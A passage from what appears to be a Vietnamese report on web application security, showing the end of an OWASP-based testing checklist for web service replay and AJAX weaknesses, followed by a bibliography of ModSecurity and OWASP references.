WS-007 Replay Testing - WS Replay Testing
WS Replay Testing
Capture the Traffic with sniffers/proxy and replay the request
WebScarab, Ethreal, WireShark, TCPReplay
Ajax Testing
AJ-001 AJAX Vulnerabilities - N.A.
N.A. * XMLHttpRequest Vulnerabilitie, SQL Injectio, XSS, DOM based XSS, JSON/XML/XSLT Injection * AJAX Bridging - Cross website requests are sent through this method * Cross Site Request Forgery (CSRF) * DOS - Multiple XMLHttpRequests
AJ-002 AJAX Testing - AJAX weakness
AJAX weakness
Parse the HTML and JavaScript files and using a proxy to observe traffic.
Proxy tools, Firebug OWASP Sprajax
91
XIII. TÀI LIỆU THAM KHẢO Ristic, Ivan. Modsecurity Handbook: The Complete Guide to the Popular
Open Source Web Application Firewall. S.l.: Feisty Duck, 2010. Web
Barnett, Ryan. The Web Application Defender's Cookbook: Battling Hackers
and Protecting Users. Indianapolis, Ind: Wiley, 2013.
"ModSecurity® Reference Manual." Reference Manual. Trustwave Holdings,
Inc., n.d. Web. <https://github.com/SpiderLabs/ModSecurity/wiki/Reference-
Manual>.
OWASP Testing Guide . 3rd ed. N.p.: OWASP Foundation, n.d. OWASP
Testing Guide V3. 2010. Web.
<https://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf>.
"OWASP Based Web Application Security Testing Checklist." OWASP Based
Web Application Security Testing Checklist. N.p., 19 Oct. 2011. Web.
<https://code.google.com/p/owasp-testing-checklist/>